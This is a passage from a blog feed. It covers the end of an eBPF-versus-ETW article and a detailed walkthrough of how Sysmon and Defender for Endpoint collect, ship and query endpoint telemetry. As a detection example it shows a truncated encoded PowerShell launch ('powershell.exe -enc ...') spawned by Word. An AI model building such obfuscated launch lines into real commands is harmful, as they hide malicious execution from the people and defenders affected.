Sysmon for Linux [@github-com-microsoft-sysmonforlinux] replaces the ETW back end with eBPF kprobes via Microsoft&apos;s `SysinternalsEBPF` library. The XML configuration schema, Event IDs, and Operational channel output are preserved, so a SIEM consumer sees identical telemetry from either OS. It is the production demonstration that ETW and eBPF can be made surface-equivalent to a consumer.
&lt;p&gt;&amp;lt;StudyGuide slug=&quot;ebpf-vs-etw-two-generations-of-kernel-observability&quot; keyTerms={[
  { term: &quot;ETW&quot;, definition: &quot;Event Tracing for Windows. The Windows 2000-onward kernel-mediated event bus, with providers, sessions, consumers, and per-CPU ring buffers.&quot; },
  { term: &quot;eBPF&quot;, definition: &quot;Extended Berkeley Packet Filter. A safe, sandboxed kernel virtual machine introduced in Linux 3.18 (2014) that runs verified user-supplied bytecode at attached hook points.&quot; },
  { term: &quot;Verifier&quot;, definition: &quot;The kernel-side static analyzer that proves termination and memory safety of every eBPF program before load. The Linux verifier uses a heuristic register-state lattice; PREVAIL uses zone-domain abstract interpretation.&quot; },
  { term: &quot;BPF Map&quot;, definition: &quot;A kernel-managed key-value store accessible from inside an eBPF program and from user space. Types include hash, array, per-CPU hash, and ring buffer.&quot; },
  { term: &quot;Ringbuf&quot;, definition: &quot;The BPF ring buffer map type (Linux 5.8). A multi-producer single-consumer transport that preserves cross-CPU event ordering.&quot; },
  { term: &quot;HVCI&quot;, definition: &quot;Hypervisor-enforced Code Integrity. The Windows feature that uses the hypervisor to enforce kernel-mode code signing. Blocks dynamic kernel-mode code generation by default.&quot; },
  { term: &quot;PREVAIL&quot;, definition: &quot;The user-mode eBPF verifier used by eBPF for Windows. Based on numerical abstract interpretation over the zone domain plus intervals, with formal grounding in Gershuni et al. PLDI 2019.&quot; },
  { term: &quot;bpf2c&quot;, definition: &quot;The eBPF-for-Windows transliterator that emits portable C from verified BPF bytecode, one C statement per BPF instruction. The C is compiled by MSVC into a signed .sys driver.&quot; }
]} questions={[
  { q: &quot;Why did performance counters fail for security telemetry?&quot;, a: &quot;Three structural reasons: sampling-rate floor (counters aggregate at the consumer&apos;s query rate, hiding individual events), no event identity (a count tells you N happened, not which user did what), and no causal order (two counters sampled in sequence are not causally ordered with respect to the events they describe).&quot; },
  { q: &quot;What three properties does the soundness-completeness-scalability triangle say a verifier can&apos;t have all of?&quot;, a: &quot;Soundness (never accept an unsafe program), completeness (never reject a safe program), and scalability (run in polynomial time on real programs). Rice&apos;s theorem implies no decision procedure for a non-trivial semantic property on a Turing-complete ISA can have all three. Real verifiers must trade off.&quot; },
  { q: &quot;How does eBPF for Windows lift verified bytecode into the Windows kernel?&quot;, a: &quot;In native mode, PREVAIL verifies the bytecode in user space. On success, the bpf2c tool transliterates each verified BPF instruction to one C statement, MSVC compiles the C to a signed .sys kernel driver, and the kernel loads the driver through the standard Authenticode / HVCI / KMCI signing pipeline.&quot; },
  { q: &quot;Name two structural attack-class implications of bpf_tail_call.&quot;, a: &quot;Branch-target injection on the tail-call dispatcher (an indirect jump from kernel mode selecting its target from a user-controllable map slot is a Spectre-v2 gadget) and speculative type confusion (the verifier proves a single program&apos;s register types, but a tail call&apos;s target is a runtime-resolved map slot, so speculative execution can run a different program under the wrong type-state).&quot; }
]} /&amp;gt;&lt;/p&gt;
</content:encoded><category>ebpf</category><category>etw</category><category>kernel-observability</category><category>edr</category><category>verifier</category><category>windows-internals</category><category>linux-kernel</category><category>tracing</category><author>noreply@paragmali.com (Parag Mali)</author></item><item><title>From `cmd.exe` to a Kusto Row in 90 Seconds: How Sysmon and Defender for Endpoint Actually Work</title><link>https://paragmali.com/blog/from-cmdexe-to-a-kusto-row-in-90-seconds-how-sysmon-and-defe/</link><guid isPermaLink="true">https://paragmali.com/blog/from-cmdexe-to-a-kusto-row-in-90-seconds-how-sysmon-and-defe/</guid><description>The seven-layer production EDR pipeline -- kernel callback, ETW publisher, MsSense.exe, SenseCncProxy, Kusto, KQL -- traced end to end for Sysmon and Defender for Endpoint.</description><pubDate>Wed, 13 May 2026 00:00:00 GMT</pubDate><content:encoded>
Modern Windows EDR is a seven-layer production pipeline. A kernel callback fires, a user-mode aggregator labels the event, an ETW publisher (Sysmon) or a TLS-pinned cloud forwarder (`SenseCncProxy.exe`) ships it, and within seconds the event surfaces as a row in a Kusto table that the analyst queries with KQL. Sysmon (Russinovich and Garnier, August 2014) is the configurable kernel-callback-then-publish reference: twenty-nine event IDs, three canonical configurations (SwiftOnSecurity, the post-rename `NextronSystems/sysmon-config`, and `olafhartong/sysmon-modular`), Antimalware-PPL hardening since v15 in June 2023. Microsoft Defender for Endpoint (Windows Defender ATP preview March 2016, MDE rename September 2020, Microsoft Defender XDR portal late 2023) is the commercial cloud-correlated counterpart: `MsSense.exe` runs as Antimalware-PPL, shares the `WdFilter.sys` / `WdBoot.sys` / `WdNisDrv.sys` Defender Antivirus kernel surface, and lands events in six `Device*` Advanced Hunting tables with 30-day in-portal retention, extended via the Microsoft Sentinel Defender XDR connector. For MDE-licensed shops with a detection-engineering team, the community pattern is Hartong&apos;s `sysmonconfig-mde-augment.xml` -- Sysmon as a complement, not a duplicate. The pipeline&apos;s four structural ceilings (pre-driver-load horizon, observation-vs-enforcement latency, MDE schema truncation, kernel-mode adversary primitive) are documented and unclosed; FalconForce&apos;s 2022 CVE-2022-23278 disclosure and InfoGuard Labs&apos; 2025 certificate-pinning bypass bookend an adversarial arc the field has not yet ended.
&lt;h2&gt;1. From &lt;code&gt;cmd.exe&lt;/code&gt; to a Kusto Row in Ninety Seconds&lt;/h2&gt;
&lt;p&gt;At 9:14 a.m. on a Monday, a SOC analyst named Maya watches a &lt;code&gt;DeviceProcessEvents&lt;/code&gt; row light up in the Advanced Hunting console of Microsoft Defender XDR. The &lt;code&gt;FileName&lt;/code&gt; is &lt;code&gt;powershell.exe&lt;/code&gt;. The &lt;code&gt;ProcessCommandLine&lt;/code&gt; reads &lt;code&gt;powershell.exe -enc JABzAD0A...&lt;/code&gt;. The &lt;code&gt;InitiatingProcessFileName&lt;/code&gt; is &lt;code&gt;WINWORD.EXE&lt;/code&gt;. The &lt;code&gt;Timestamp&lt;/code&gt; is three seconds ago [@deviceprocessevents-table].&lt;/p&gt;
&lt;p&gt;By 9:15:44 Maya has pivoted to &lt;code&gt;DeviceNetworkEvents&lt;/code&gt;, found an outbound connection from the same &lt;code&gt;InitiatingProcessId&lt;/code&gt; to a previously-unknown IP on TCP/443, clicked &lt;strong&gt;Isolate device&lt;/strong&gt; in the device page, and the endpoint is off the network. Ninety seconds, end to end. Email triage of the original message; a quarantine on the inbound &lt;code&gt;.docm&lt;/code&gt;; and -- by the time the user&apos;s coffee has cooled -- a brand-new IOC in the tenant&apos;s custom indicator list.&lt;/p&gt;
&lt;p&gt;This article is the rewind. We walk Maya&apos;s ninety seconds backwards through the seven pipeline layers that made the triage possible -- starting in ring zero, ending in the KQL query you can copy into your own tenant -- and along the way we answer the question every SOC manager has asked at least once: do we deploy Sysmon alongside Defender for Endpoint, or trust Defender alone?&lt;/p&gt;
&lt;h3&gt;The seven layers&lt;/h3&gt;
&lt;p&gt;Maya is looking at a single Kusto row. Behind that row sit seven distinct software components, each of which can fail independently:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;A &lt;strong&gt;kernel callback&lt;/strong&gt; fired inside the &lt;code&gt;nt!PspInsertProcess&lt;/code&gt; path on the target machine the instant &lt;code&gt;WINWORD.EXE&lt;/code&gt; called &lt;code&gt;CreateProcessW&lt;/code&gt; to spawn &lt;code&gt;powershell.exe&lt;/code&gt;. The callback handler lives inside &lt;code&gt;WdFilter.sys&lt;/code&gt; (Defender Antivirus&apos;s filter driver) and inside &lt;code&gt;SysmonDrv.sys&lt;/code&gt; if Sysmon is also installed [@pssetcreateex-msdn].&lt;/li&gt;
&lt;li&gt;A &lt;strong&gt;user-mode aggregator&lt;/strong&gt; -- &lt;code&gt;MsSense.exe&lt;/code&gt; for Defender for Endpoint, or &lt;code&gt;Sysmon.exe&lt;/code&gt; (the service) for Sysmon -- received the structured callback notification, enriched it with parent-process state, file hashes, signature information, and identity data, and decided whether the event was worth shipping [@mde-ms-learn][@sysmon-ms-learn].&lt;/li&gt;
&lt;li&gt;An &lt;strong&gt;&lt;a href=&quot;https://paragmali.com/blog/etw-how-windows-2000s-performance-hack-became-the-edr-substr/&quot; rel=&quot;noopener&quot;&gt;ETW publisher&lt;/a&gt;&lt;/strong&gt; -- in Sysmon&apos;s case the &lt;code&gt;Microsoft-Windows-Sysmon&lt;/code&gt; provider -- emitted the event to the operating system&apos;s tracing bus, and the Sysmon service wrote it to the &lt;code&gt;Microsoft/Windows/Sysmon/Operational&lt;/code&gt; event log [@sysmon-ms-learn].&lt;/li&gt;
&lt;li&gt;A &lt;strong&gt;cloud forwarder&lt;/strong&gt; -- &lt;code&gt;SenseCncProxy.exe&lt;/code&gt; -- ran the Defender payload through TLS with certificate pinning out to the regional Defender XDR ingest endpoint [@falconforce-2022].&lt;/li&gt;
&lt;li&gt;A &lt;strong&gt;cloud sensor pipeline&lt;/strong&gt; in Microsoft&apos;s regional datacenter (the US for US tenants, the EU for European tenants, the UK for UK tenants) wrote the event into the Advanced Hunting Kusto cluster [@advanced-hunting-overview][@ms-server-endpoints-learn].&lt;/li&gt;
&lt;li&gt;A &lt;strong&gt;Kusto table&lt;/strong&gt; -- &lt;code&gt;DeviceProcessEvents&lt;/code&gt; -- became queryable within seconds, joined logically across roughly fifty columns to its siblings (&lt;code&gt;DeviceNetworkEvents&lt;/code&gt;, &lt;code&gt;DeviceFileEvents&lt;/code&gt;, &lt;code&gt;DeviceRegistryEvents&lt;/code&gt;, &lt;code&gt;DeviceImageLoadEvents&lt;/code&gt;, &lt;code&gt;DeviceEvents&lt;/code&gt;) [@deviceprocessevents-table].&lt;/li&gt;
&lt;li&gt;A &lt;strong&gt;KQL query&lt;/strong&gt; Maya wrote, or one of Microsoft&apos;s built-in detection rules, joined the process row to the network row on &lt;code&gt;(DeviceId, InitiatingProcessId)&lt;/code&gt;, surfaced the C2 callback inside a ninety-second window, and put the device-isolation button on her screen [@advanced-hunting-overview][@sentinel-xdr-connector].&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Each of these seven layers is independently failure-prone. Operating an EDR well -- which is what this article is about -- means knowing which layer produced which artifact, which layer can be tampered with, and which layer is the right one to fix when the row does not arrive.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; Modern Windows EDR is a seven-layer production pipeline: kernel callback, user-mode aggregator, ETW publisher (or cloud forwarder), TLS-pinned cloud transport, regional Kusto ingest, table write, KQL read. Sysmon and Microsoft Defender for Endpoint are two implementations of the same seven layers, with different design philosophies at every layer.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Why two products, not one&lt;/h3&gt;
&lt;p&gt;Sysmon and Defender for Endpoint were not designed as a pair. They evolved as competing answers to the same problem -- &lt;em&gt;when prevention fails, what evidence do you give the responder?&lt;/em&gt; -- on the same operating system, with the same kernel-callback APIs underneath, and with the same Windows Event Tracing bus as the transport layer in the middle. They converged on a shared trust model only in 2023, when both products began running as protected processes [@sysmon-ms-learn][@falconforce-2022].&lt;/p&gt;
&lt;p&gt;That convergence is not coincidence. It is the consequence of a decade of architectural pressure pushing both products toward the same answer: collect at the Microsoft-sanctioned kernel-callback boundary, normalize in user mode, ship over a tamper-resistant transport, and surface to the analyst as a queryable column family. The differences are in the configuration grammar, the cloud-side enrichment, and the trust boundary at the publisher edge. The seven layers are the same. To see why, we have to start in 2014, when Sysmon shipped with three event types.&lt;/p&gt;
&lt;h2&gt;2. Twelve Years, Two Arcs, One Convergence&lt;/h2&gt;
&lt;p&gt;Anton Chuvakin, then a research VP at Gartner, named the category in July 2013. His blog post -- preserved on his personal site after Gartner deleted its analyst blogs in late 2023 -- coined the term &lt;em&gt;Endpoint Threat Detection and Response&lt;/em&gt; (ETDR) and defined it as &quot;tools primarily focused on detecting and investigating suspicious activities (and traces of such) other problems on hosts/endpoints&quot; [@chuvakin-2013][@wikipedia-edr]. The &quot;T&quot; dropped out of the acronym within eighteen months and the field has been called EDR ever since.&lt;/p&gt;
&lt;p&gt;Chuvakin&apos;s question -- &lt;em&gt;what evidence do you give the responder when prevention fails?&lt;/em&gt; -- got two different answers from inside Microsoft over the next decade. One was free, configurable, and ran on every Windows machine the operator wanted to run it on. The other was commercial, cloud-correlated, and only worked if you paid for it. Both started in the same place: at the supported kernel-callback boundary that Microsoft had been steadily building out since Windows XP.&lt;/p&gt;
&lt;h3&gt;The Sysmon arc: August 2014 to March 2026&lt;/h3&gt;
&lt;p&gt;Mark Russinovich gave session HTA-T07R at RSA US 2014 -- &lt;em&gt;Malware Hunting with the Sysinternals Tools&lt;/em&gt; -- and the methodology he taught (process-tree pivoting, autoruns enumeration, real-time monitoring of file and registry writes) had a natural conclusion: somebody should ship a Sysinternals tool that did all of that, continuously, into the Windows event log [@russinovich-rsa-2014]. The tool shipped in August 2014, written by Russinovich and Thomas Garnier, also of Microsoft. ZDNet&apos;s contemporaneous coverage captured the introduction: &quot;Sysmon, written by Russinovich and Thomas Garnier, also of Microsoft, is the 73rd tool in the set... Note: For public release, Sysmon has been reset to version 1.00&quot; [@zdnet-sysmon-2014]. The launch SKU had three event types: process create (EID 1), file-create-time change (EID 2), and network connect (EID 3).&lt;/p&gt;
&lt;p&gt;The design philosophy is captured in a single sentence Microsoft Learn still prints on the Sysmon download page -- a sentence whose framing of Sysmon as a publisher that refuses to do detection and refuses to hide is the entire foundation of the SwiftOnSecurity-NextronSystems-Hartong configuration lineage that §5 unpacks; the verbatim quote lands as the §4 PullQuote [@sysmon-ms-learn]. Every detection-engineering corpus in the Windows field -- SwiftOnSecurity&apos;s config, Florian Roth&apos;s fork, Olaf Hartong&apos;s modular system, the SigmaHQ rule base, the Threat Hunter Playbook -- is downstream of that one design choice.&lt;/p&gt;
&lt;p&gt;The version history reads as capability accretion, not architectural change. Sysmon v6 in February 2017 added registry events (EIDs 12-14), process-access (10), file-create (11), pipe events (17-18), file-create-stream-hash (15), and the &lt;em&gt;ServiceConfigurationChange&lt;/em&gt; (16) audit of Sysmon&apos;s own settings [@sysinternals-blog-v6]. (EID 7 ImageLoad arrived earlier, in Sysmon v2.0 -- the §4 catalogue places it correctly.) Sysmon v10 in June 2019 added DNS-query observation via ETW &lt;em&gt;consumption&lt;/em&gt; of &lt;code&gt;Microsoft-Windows-DNS-Client&lt;/code&gt;; the v10 release date is recorded in the community-curated &lt;em&gt;Sysmon Version History&lt;/em&gt; repository, explicitly marked &quot;Outdated&quot; past v11.10 because its maintainer stopped updating it [@sysmon-version-history]. v13 added ClipboardChange and ProcessTampering. v14 in August 2022 added the first &lt;em&gt;preventive&lt;/em&gt; event -- FileBlockExecutable (EID 27) -- making Sysmon something subtly more than a publisher [@diversenok-2022][@hartong-sysmon14-medium].&lt;/p&gt;
&lt;p&gt;The architectural inflection landed in &lt;strong&gt;June 2023 with Sysmon v15&lt;/strong&gt;, when the Sysmon service began running as a protected process. BleepingComputer&apos;s contemporaneous coverage notes that the service ran as &lt;code&gt;PROTECTED_ANTIMALWARE_LIGHT&lt;/code&gt; and the schema bumped to 4.90 with the new &lt;code&gt;FileExecutableDetected&lt;/code&gt; event ID 29 [@bleepingcomputer-sysmon15][@hartong-sysmon15-medium]. The Microsoft Learn page now states the change verbatim: &quot;&lt;em&gt;The service runs as a protected process, thus disallowing a wide range of user mode interactions&lt;/em&gt;&quot; [@sysmon-ms-learn]. The latest published release at the time of writing is &lt;strong&gt;v15.2 on March 26, 2026&lt;/strong&gt; (per the Sysmon download page&apos;s &lt;em&gt;Published&lt;/em&gt; by-line), with twenty-nine event types plus EID 255 (Error) [@sysmon-ms-learn].&lt;/p&gt;
&lt;h3&gt;The MDE arc: March 2016 to late 2023&lt;/h3&gt;
&lt;p&gt;Microsoft announced &lt;strong&gt;Windows Defender Advanced Threat Protection&lt;/strong&gt; in a Windows Experience blog post on March 1, 2016 -- &lt;em&gt;&quot;Today, we announce the next step in our efforts to protect our enterprise customers, with a new service, Windows Defender Advanced Threat Protection&quot;&lt;/em&gt; [@ms-blog-atp-mar2016]. The service was framed as a cloud-correlated detection-and-investigation layer on top of the Windows 10 sensor, &quot;informed by anonymous information from over 1 billion Windows devices&quot; [@ms-blog-atp-mar2016]. The 2016 product was Windows-only, in-portal, and oriented to detection and investigation only.&lt;/p&gt;
&lt;p&gt;The Fall Creators Update in October 2017 broadened the product into prevention: &quot;&lt;em&gt;The Windows Fall Creators Update represents a new chapter in our product evolution as we offer a set of new prevention capabilities designed to stop attacks as they happen and before they have impact. This means that our service will expand beyond detection, investigation, and response, and will now allow companies to use the full power of the Windows security stack for preventative protection&lt;/em&gt;&quot; [@ms-blog-atp-jun2017]. Attack Surface Reduction rules, Exploit Guard, and Application Guard joined the platform. So did the &lt;strong&gt;Advanced Hunting&lt;/strong&gt; query surface in 2018 -- KQL on the same &lt;code&gt;Device*&lt;/code&gt; tables Maya uses in §1.&lt;/p&gt;
&lt;p&gt;The cross-platform reach arrived in March 2019 with macOS support (initially as Microsoft Defender ATP) and was extended to networked Linux and macOS discovery by February 2021 [@securityweek-defender-macos][@bleepingcomputer-defender-linux]. The product was renamed twice. The most-cited rename came at &lt;strong&gt;Microsoft Ignite 2020 on September 22, 2020&lt;/strong&gt;, when the Microsoft Security blog announced the product family rebrand: &quot;&lt;em&gt;Microsoft Defender for Endpoint (previously Microsoft Defender Advanced Threat Protection)&lt;/em&gt;&quot; [@ms-unified-siem-xdr-2020]. The same post renamed Microsoft Threat Protection to Microsoft 365 Defender, O365 ATP to Microsoft Defender for Office 365, and Azure ATP to Microsoft Defender for Identity. The second rename was at &lt;strong&gt;Microsoft Ignite 2023 in November 2023&lt;/strong&gt;, when Microsoft 365 Defender became &lt;strong&gt;Microsoft Defender XDR&lt;/strong&gt;, announced as part of the broader product rebrand at Ignite 2023 [@defender-xdr-ms-learn][@ms-ignite-2023-blog].The Ignite 2023 rebrand did not change the KQL substrate, the &lt;code&gt;Device*&lt;/code&gt; schema, or the Sentinel connector contract. It is a marketing relabel on top of a stable cloud surface. Detection engineering teams kept writing queries against &lt;code&gt;DeviceProcessEvents&lt;/code&gt; exactly as they did the day before the rename.&lt;/p&gt;
&lt;h3&gt;The configuration-lineage arc&lt;/h3&gt;
&lt;p&gt;A third arc ran in parallel with the two product arcs: the community-maintained Sysmon configurations that turned Sysmon from a kernel-callback publisher into a deployment-ready detection sensor.&lt;/p&gt;
&lt;p&gt;The historical root is &lt;strong&gt;SwiftOnSecurity&apos;s &lt;code&gt;sysmon-config&lt;/code&gt; repository&lt;/strong&gt;, created on February 1, 2017 per the GitHub REST API [@github-swiftonsecurity-meta]. The README&apos;s design intent is succinct: &quot;&lt;em&gt;This is a Microsoft Sysinternals Sysmon configuration file template with default high-quality event tracing&lt;/em&gt;&quot; [@github-swiftonsecurity]. The repository remains the most-cited Sysmon-configuration starting point in the SOC industry.&lt;/p&gt;
&lt;p&gt;Florian Roth, working under the handle &lt;code&gt;@Neo23x0&lt;/code&gt;, forked SwiftOnSecurity&apos;s config in January 2018 (the exact creation date is now obscured by a 2021 rename -- see the sidenote below). The fork added blocking-rule support for Sysmon v14, an actively-maintained set of community pull-request merges, and the &lt;em&gt;export-block.xml&lt;/em&gt; variant that ships the v14+ FileBlockExecutable rules. The README states the lineage verbatim: &quot;&lt;em&gt;This is a forked and modified version of @SwiftOnSecurity&apos;s sysmon config. ... We merged most of the 30+ open pull requests&lt;/em&gt;&quot; [@github-neo23x0]. The current maintainer roster lists Florian Roth, Tobias Michalski, Christian Burkard, and Nasreddine Bencherchali.&lt;/p&gt;
&lt;p&gt;Olaf Hartong&apos;s &lt;code&gt;sysmon-modular&lt;/code&gt; was created on January 13, 2018 per the GitHub REST API [@github-hartong-meta]. The repository takes a different design approach: instead of one monolithic XML config, Hartong ships a per-EID-and-per-technique module library that compiles down into one of several pre-generated artifacts -- &lt;code&gt;sysmonconfig.xml&lt;/code&gt; (default), &lt;code&gt;sysmonconfig-with-filedelete.xml&lt;/code&gt; (default plus archive), &lt;code&gt;sysmonconfig-excludes-only.xml&lt;/code&gt; (verbose), &lt;code&gt;sysmonconfig-research.xml&lt;/code&gt; (super-verbose, with the warning &quot;&lt;em&gt;really DO NOT USE IN PRODUCTION!&lt;/em&gt;&quot;), and the load-bearing &lt;code&gt;sysmonconfig-mde-augment.xml&lt;/code&gt; whose entire design intent is to fill the gaps in Defender for Endpoint&apos;s collection surface [@github-hartong-modular].Olaf Hartong and Henri Hambartsumyan, the two FalconForce researchers who reverse-engineered Defender for Endpoint in 2022 and surfaced CVE-2022-23278, also maintain &lt;code&gt;olafhartong/sysmon-modular&lt;/code&gt;. This is the dual identity that makes the &lt;code&gt;sysmonconfig-mde-augment.xml&lt;/code&gt; config uniquely informed: the same people who learned where MDE&apos;s collection truncates Sysmon&apos;s manifest also published the config that fills those gaps [@falconforce-2022][@github-hartong-modular].&lt;/p&gt;
&lt;p&gt;The Neo23x0 repository was renamed in 2021. The current &lt;code&gt;https://github.com/Neo23x0/sysmon-config&lt;/code&gt; URL HTTP-301s to &lt;code&gt;https://github.com/NextronSystems/sysmon-config&lt;/code&gt;, and the GitHub REST API returns a &lt;code&gt;created_at&lt;/code&gt; of &lt;code&gt;2021-07-24T06:19:41Z&lt;/code&gt; with a &lt;code&gt;parent&lt;/code&gt; field pointing to &lt;code&gt;SwiftOnSecurity/sysmon-config&lt;/code&gt; [@github-nextronsystems-meta]. The content lineage from SwiftOnSecurity is unchanged; only the organizational owner moved from Florian Roth&apos;s personal handle to his employer Nextron Systems.&lt;/p&gt;
&lt;p&gt;By 2023, then, two product arcs and one configuration arc had converged on the same baseline: kernel callbacks (&lt;code&gt;PsSetCreateProcessNotifyRoutineEx&lt;/code&gt;, &lt;code&gt;ObRegisterCallbacks&lt;/code&gt;, &lt;code&gt;CmRegisterCallbackEx&lt;/code&gt;, Filter Manager minifilters) on the input side; an Antimalware-PPL protected service on the host; an ETW or TLS-pinned cloud transport in the middle; and KQL on &lt;code&gt;Device*&lt;/code&gt; tables on the reader side. The convergence was structural, not coincidental. To see why both arcs landed in the same place, we have to start at the kernel-callback boundary -- where Sysmon&apos;s input lives.&lt;/p&gt;
&lt;h2&gt;3. Sysmon Architecture: Kernel Collection, ETW Emission, Event Log Persistence&lt;/h2&gt;
&lt;p&gt;If you have ever read that Sysmon is an &quot;ETW-based event source,&quot; you have read something that is half-true. The half that is right is the &lt;em&gt;output&lt;/em&gt; side: Sysmon publishes its events through an ETW provider called &lt;code&gt;Microsoft-Windows-Sysmon&lt;/code&gt;, and the rest of the system -- including the Windows Event Log service -- subscribes to that provider. The half that is wrong is the &lt;em&gt;input&lt;/em&gt; side. Sysmon does not get most of its raw observations from ETW. It gets them from five kernel-callback families and one Filter Manager minifilter, with two narrow ETW-consumer exceptions (DNS-Client for EID 22; the WMI activity provider for EIDs 19-21).&lt;/p&gt;
&lt;p&gt;This distinction is small enough that most blog posts skip it and big enough that getting it wrong leads to architectural confusion. The split between &lt;em&gt;collection&lt;/em&gt; (how data enters the Sysmon driver) and &lt;em&gt;emission&lt;/em&gt; (how data leaves the Sysmon service) is the first thing to get straight before anything else makes sense.&lt;/p&gt;

The in-kernel, low-overhead, manifest-described tracing infrastructure built into Windows since 2000. Providers publish structured events; controllers start trace sessions and select which providers to enable; consumers receive events live or read them from `.etl` files. Sysmon uses ETW as its *output* bus -- its kernel driver hands events to the user-mode service via a private ETW session -- and as a small input source for the DNS-Client kernel provider (EID 22) and the WMI activity provider (EIDs 19-21).

A Microsoft-sanctioned ring-0 API for observing operating-system events without patching the System Service Descriptor Table. The Windows kernel exposes a small set of named callback APIs -- `PsSetCreateProcessNotifyRoutineEx` for process create and exit, `PsSetLoadImageNotifyRoutine` for image load (with a `SystemModeImage` bit that distinguishes kernel drivers from user-mode DLLs), `PsSetCreateThreadNotifyRoutineEx` for thread creation (with a remote-thread flag), `ObRegisterCallbacks` for handle-rights filtering against `PsProcessType` and `PsThreadType`, `CmRegisterCallbackEx` for registry operations, and the Filter Manager minifilter framework for file-system I/O. A driver registers a function pointer; the kernel invokes it on the corresponding event with the structured context. PatchGuard tolerates kernel callbacks; it does not tolerate SSDT patching [@wikipedia-kpp][@pssetcreateex-msdn][@ms-wdk-kernel-callbacks].

The file-system filter-driver framework (`FltMgr.sys`) that hosts minifilter drivers between the I/O manager and the file-system stack. Each minifilter declares an *altitude* (a 16-bit priority) and receives notifications for pre- and post-operation hooks on file create, file write, set-information, and set-security. Both `SysmonDrv.sys` and `WdFilter.sys` are minifilters; they coexist at different altitudes without colliding [@sysmon-ms-learn].
&lt;h3&gt;Five collection mechanisms, one ETW publisher&lt;/h3&gt;
&lt;p&gt;The Microsoft Learn page for Sysmon enumerates the event IDs and describes them at the &lt;em&gt;what&lt;/em&gt; level; the &lt;em&gt;how&lt;/em&gt; (which kernel API actually produced each event) is documented partly in the API references for each callback API and partly in the source code of Sysmon&apos;s open Linux port, &lt;code&gt;microsoft/SysmonForLinux&lt;/code&gt;, which reuses Sysinternals&apos; shared C++ rule-engine for parsing the same XML schema and translating it onto eBPF instead of kernel callbacks [@github-sysmon-linux][@sysmon-ms-learn]. The Windows port is closed source, but Sysinternals&apos; design has been documented enough -- across the RSA 2014 talk, the Diversenok 2022 reverse-engineering writeup, and the SysmonForLinux source -- that the collection-mechanism inventory is unambiguous.&lt;/p&gt;
&lt;p&gt;The five mechanisms are:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Mechanism&lt;/th&gt;
&lt;th&gt;API or framework&lt;/th&gt;
&lt;th&gt;Sysmon EIDs produced&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;Process-lifetime callback&lt;/td&gt;
&lt;td&gt;&lt;code&gt;PsSetCreateProcessNotifyRoutineEx&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;1 (ProcessCreate), 5 (ProcessTerminate)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Image-load callback&lt;/td&gt;
&lt;td&gt;&lt;code&gt;PsSetLoadImageNotifyRoutine&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;7 (ImageLoad); 6 (DriverLoad, distinguished by the &lt;code&gt;IMAGE_INFO.SystemModeImage&lt;/code&gt; flag on the kernel-mode image)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Thread-creation callback&lt;/td&gt;
&lt;td&gt;&lt;code&gt;PsSetCreateThreadNotifyRoutineEx&lt;/code&gt; (with the &lt;code&gt;PS_CREATE_THREAD_NOTIFY_FLAG_CREATE_REMOTE&lt;/code&gt; flag in &lt;code&gt;CREATE_THREAD_NOTIFY_INFO&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;8 (CreateRemoteThread)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Object Manager callback&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ObRegisterCallbacks&lt;/code&gt; against &lt;code&gt;PsProcessType&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;10 (ProcessAccess)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Registry callback&lt;/td&gt;
&lt;td&gt;&lt;code&gt;CmRegisterCallbackEx&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;12 (Registry Object Create/Delete), 13 (Registry Value Set), 14 (Registry Key/Value Rename)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Filter Manager minifilter&lt;/td&gt;
&lt;td&gt;&lt;code&gt;FltRegisterFilter&lt;/code&gt; against &lt;code&gt;FltCreate&lt;/code&gt;/&lt;code&gt;FltClose&lt;/code&gt;/&lt;code&gt;FltSetInformation&lt;/code&gt; -- ordinary file system, &lt;em&gt;and&lt;/em&gt; the Named Pipe File System (NPFS, &lt;code&gt;\Device\NamedPipe&lt;/code&gt;) at a different altitude&lt;/td&gt;
&lt;td&gt;11 (FileCreate), 15 (FileCreateStreamHash), 17 (PipeEvent Created), 18 (PipeEvent Connected), 23 (FileDelete archived), 26 (FileDeleteDetected), 27 (FileBlockExecutable), 28 (FileBlockShredding), 29 (FileExecutableDetected)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The five-mechanism framing collapses thread-creation and &lt;a href=&quot;https://paragmali.com/blog/the-object-manager-namespace/&quot; rel=&quot;noopener&quot;&gt;Object Manager&lt;/a&gt; callbacks into one architectural family (&quot;process and thread observation via Microsoft-sanctioned callbacks&quot;); a stricter count is six (process-lifetime, image-load, thread-creation, object-handle, registry, minifilter). Either count is defensible; what matters is keeping the API attribution honest: &lt;code&gt;PsSetCreateThreadNotifyRoutineEx&lt;/code&gt; is the canonical remote-thread observer, &lt;code&gt;ObRegisterCallbacks(PsProcessType)&lt;/code&gt; is the canonical handle-rights filter, and NPFS minifiltering -- not &lt;code&gt;ObRegisterCallbacks&lt;/code&gt; -- is what observes named-pipe creation and connection.&lt;/p&gt;
